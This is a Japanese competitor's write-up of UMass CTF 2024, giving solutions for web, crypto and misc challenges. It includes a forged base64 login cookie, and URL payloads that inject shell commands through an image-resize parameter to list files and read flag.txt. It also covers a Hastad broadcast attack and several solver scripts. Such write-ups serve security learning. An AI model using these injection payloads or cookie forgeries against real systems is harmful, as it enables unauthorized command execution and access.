UMass CTF 2024 Writeup解けたとこまで
投稿日: 更新日:
UMass CTF
コンテストサイト: UMass CTF
結果
102位でスコア1151でした。あとちょっとで2桁順位(><;;)
web3つ、crypto2つ、misc2つが解けました。
forensicsが1つも解けなかったのが悔しい。
web
Holesome Birthday Party
スポンジボムのパーティに招待されたらしい
リンク先にアクセスすると「you must first prove that your browser is from "Bikini Bottom"!」と書いてある。
httpヘッダーのUser-Agentを変えて再度アクセスする。
今度は「you're too early for the Spongebob Squarepant's birthday party!」といわれる。
調べるとスポンジボムの誕生日は7月14日らしいのでヘッダーのdateをそれに合わせる。
今度は「can you speak French?」と言われた。のでAccept-Languageにfr-FRを設定
「Can you get me some cookies? I want a cookie with the "flavor" of "chocolate_chip"」といわれる。
cookiesを設定し再度アクセスする。
「I now grant you the ticket of entrance to the party, but can you find your way in?」と返信が返ってくる。
ヘッダーを見てみると、
'Set-Cookie': 'Login=eyJsb2dnZWRpbiI6IGZhbHNlfQ==; Path=/'
とあり、base64でデコードすると{"loggedin": false}
と出てきたのでtrueにセットしLoginクッキーを加え再度送信する。
するとフラグが現れた。
最終的なコードは以下の通り
import requests
from datetime import datetime
url = "http://holesomebirthdayparty.ctf.umasscybersec.org/"
headers = {
"User-Agent": "Bikini Bottom",
"Date": (datetime(2024, 7, 14) ).strftime("%a, %d %b %Y %H:%M:%S GMT"),
"Accept-Language": "fr-FR"
}
cookies = {
"flavor": "chocolate_chip",
"Login": "eyJsb2dnZWRpbiI6IHRydWV9"
}
res = requests.get(url, headers=headers, cookies=cookies)
print(res.text)
print(res.headers)
Crabby Clicker
go言語のコードが与えられた。普段goは書かないので少し抵抗があった。
コードをClaudeに解説してもらいなが読んだところTCPのコネクションを張りHTTPのリクエストを受け付けているよう。
目標はburgersの値を100にする事。タイムアウトは1秒なのでなれべく素早く処理していく必要がありそう。
pythonで以下のコードを書いた。コネクションを張りそこにclickを100回呼び出し最後にフラグを取得するコード。これによりフラグを得れた。
import socket
host = 'crabby-clicker.ctf.umasscybersec.org'
port = 80
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
for _ in range(100):
request = 'GET /click HTTP/1.1\r\n\r\n'
s.sendall(request.encode())
response = s.recv(1024).decode()
print(response)
request = 'GET /flag HTTP/1.1\r\n\r\n'
s.sendall(request.encode())
response = s.recv(1024).decode()
print(response)
Spongebobs Homepage
webページのリンクが渡された。特にヒントらしきものが無い。。。
とりあえずwebページのコードを見ていたところ画像のアクセスが/assets/image?name=house&size=300x494
の形式になっていた。変なパラーメータを渡すとよさそうと思いnameの部分を変えたりsizeの部分を変えたりした。
間違ってsize=size=
のようなパラーメータを渡した時以下のレスポンスを得た。
Server: SimpleHTTP/0.6 Python/3.10.14
Date: Sat, 20 Apr 2024 06:24:04 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 581
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 500</p>
<p>Message: Error resizing image: convert-im6.q16: invalid argument for option `-resize': size=1000000x1000000! @ error/convert.c/ConvertImageCommand/2563.
.</p>
<p>Error code explanation: 500 - Server got itself in trouble.</p>
</body>
</html>
ここから見るにコマンドのエラーメッセージをそのまま出力していることが分かる。そのため任意のコマンドを実行したい。
ただたんにls
を加えるだけでは上手くいかなかった。
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=size=1000000x1000000;ls
>Message: Error resizing image: convert-im6.q16: invalid argument for option `-resize': size=1000000x1000000 @ error/convert.c/ConvertImageCommand/2563.
/bin/sh: 1: ls!: not found
後ろのに!
が付け加えられるため上手くダミーのものをはさんで実行する。またエラー出力しか出ないようなので標準出力をエラーにリダイレクトする処理を加える。
&などはパーセントエンコードしなければならない。
URLエンコード/デコードツールを利用した。
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=size=1000000x1000000%3Bls%20-la%20%3E%262%20%3B%20pp
するとflag.txt
が見つかる
total 24
drwxr-xr-x 3 nobody nogroup 4096 Apr 20 01:23 .
drwxr-xr-x 3 nobody nogroup 4096 Apr 20 01:23 ..
drwxr-xr-x 3 nobody nogroup 4096 Apr 19 23:58 files
-rwxrwxr-x 1 nobody nogroup 26 Apr 19 18:21 flag.txt
-rwxrwxr-x 1 nobody nogroup 3544 Apr 20 00:50 server.py
-rwxrwxr-x 1 nobody nogroup 28 Apr 19 18:21 start.sh
あとはcatで出力する。
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=size=1000000x1000000;cat%20flag.txt%20%3E%262%20;pp
crypto
Third Times the Charm
コードが与えられていたので取り合えず読む
def encrypt(plaintext, mod):
plaintext_int = int.from_bytes(plaintext.encode(), 'big')
return pow(plaintext_int, 3, mod)
ここの平文を3乗しているところからRSAだと考えた。
while True:
p = [getPrime(128) for _ in range(6)]
if len(p) == len(set(p)):
break
N1, N2, N3 = p[0] * p[1], p[2] * p[3], p[4] * p[5]
m1, m2, m3 = encrypt(FLAG, N1), encrypt(FLAG, N2), encrypt(FLAG, N3)
128ビットの素数を6個生成し、鍵を3つ作成していることが分かる。
そして、同じ暗号文を異なる鍵で暗号化している。これはHastad Broadcast Attackが使える。
以前に記事を書いていた。RSA】Hastad Broadcast Attackの仕組みと実装
from Crypto.Util.number import long_to_bytes
m = hastad_broadcast_attack(3, pairs)
print(long_to_bytes(m).decode('utf-8'))
Shuffling as a Service
与えられたコードを読むとビットをシャッフルするコードであることが分かる。
鍵の長さは128 bytesすなわち1024 bitとなる。
10回まで任意のビット列をシャッフルして返してくれる。
ビットは1024個なのでからまでのうちどのビットが立っているのかが分かればシャフルもとのpermが特定可能である。
まずはサーバーに与える入力を生成する。
KEY_LENGTH = 128
for i in range(0, 10):
num = 0
for j in range(0, 1024):
if (j>>i&1) == 1:
num |= 1<<j
print(f"{num:0{KEY_LENGTH * 2}x}")
そして各位置にもとの何番目のビットが来ているのかを特定する
perm = [0 for _ in range(1024)]
for i in range(0, 10):
s = input()
num = int(s, base=16)
for j in range(1024):
if (num>>j&1) == 1:
perm[j] += 1<<i
c = int("", base=16)
origin = 0
for i in range(1024):
if (c>>i&1) == 1:
origin |= 1 << perm[i]
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(origin))
misc
100 Degrees
DAY(x) = y
のような数値の組が100個ほど与えられた。上部には「p = 137」と書いてある。問題文を見てみると"Lagrange"とラグランジュが強調されている。また、過去のデータから未来のデータを予測するような感じがある。
ラグランジュについて調べるとラグランジュの補間というものを見つけた。
サイトを参考に実装していく。また、「p = 137」よりmodを取りながら求めていくのだと思う。最後は数値をアスキーで文字に変換するので小数が出てくるのはおかしい。
参考にしたサイト:ラグランジュの補間公式とその応用例 - 高校数学の美しい物語
AtCoder libraryのmodintを使った。
#include <bits/stdc++.h>
#include <atcoder/modint>
using namespace std;
using namespace atcoder;
using mint = modint;
int main() {
const int n = 101;
vector<int> x(n), y(n);
for(int i = 0;i < n; ++i){
cin >> y[i];
x[i] = i;
}
mint::set_mod(137);
auto f = [&](int i, int xx){
mint resu = 1;
for(int k = 0;k < n; ++k){
if(k == i)continue;
resu *= xx - x[k];
}
return resu;
};
for(int nx = 101;nx <= 132; ++nx){
mint ans = 0;
for(int i = 0;i < n; ++i){
ans += f(i, nx)/f(i, x[i]) * y[i];
}
cout << (char)ans.val();
}
cout << endl;
return 0;
}
Krusty Katering
問題としては注文を料理人に適切に分けてその効率がランダムに分けたものよりも一定値よくなればよいというもの。
サーバに接続すると以下のように料理の値段と作るのに時間が与えられる。これを1~10のどの料理人に割り当てるかを決める。
Order #1: Bran Flakes
├── Price: $4
└── Estimated time to cook: 30s
各料理人のうち最も料理している人に分けていくのがよさそうである。
以下のコードを書き逐次処理していった。数回行って成功しフラグを得ることができた。
1000個の注文が5日分ありとても時間がかかった。
出力は| tee log
のように画面に表示しつつファイルに記録しておくとよさげ。
use std::io::prelude::*;
use std::net::TcpStream;
use regex::Regex;
fn main() {
let host = "krusty-katering.ctf.umasscybersec.org";
let port = "1337";
let mut stream = TcpStream::connect(format!("{}:{}", host, port)).unwrap();
let mut buf = [0; 1024];
let mut cooks = vec![0; 10];
let re_s = Regex::new(r"\d+s").unwrap();
let re_m = Regex::new(r"\d+m").unwrap();
let re_h = Regex::new(r"\d+h").unwrap();
let re = Regex::new("Estimated time to cook:.*").unwrap();
loop {
let len = stream.read(&mut buf).unwrap();
if len == 0 { break; }
let msg = std::str::from_utf8(&buf[0..len]).unwrap();
println!("{msg}");
if msg.contains(&"Your time") {
for i in 0..10 {
cooks[i] = 0;
}
}
let Some(ord_time) = re.captures(&msg) else { continue; };
let ord_time = ord_time.get(0).unwrap().as_str();
let mut time = 0;
if let Some(cap) = re_s.captures(&ord_time) {
time += cap.get(0).map_or(0, |m| m.as_str().trim_end_matches("s").parse::<usize>().unwrap());
}
if let Some(cap) = re_m.captures(&ord_time) {
time += 60 * cap.get(0).map_or(0, |m| m.as_str().trim_end_matches("m").parse::<usize>().unwrap());
}
if let Some(cap) = re_h.captures(&ord_time) {
time += 60*60 * cap.get(0).map_or(0, |m| m.as_str().trim_end_matches("h").parse::<usize>().unwrap());
}
let mut idx = 0;
for i in 0..10 {
if cooks[i] < cooks[idx] {
idx = i;
}
}
cooks[idx] += time;
println!("{}", idx + 1);
stream.write(format!("{}\n",(idx+1).to_string()).as_bytes()).unwrap();
stream.flush().unwrap();
}
}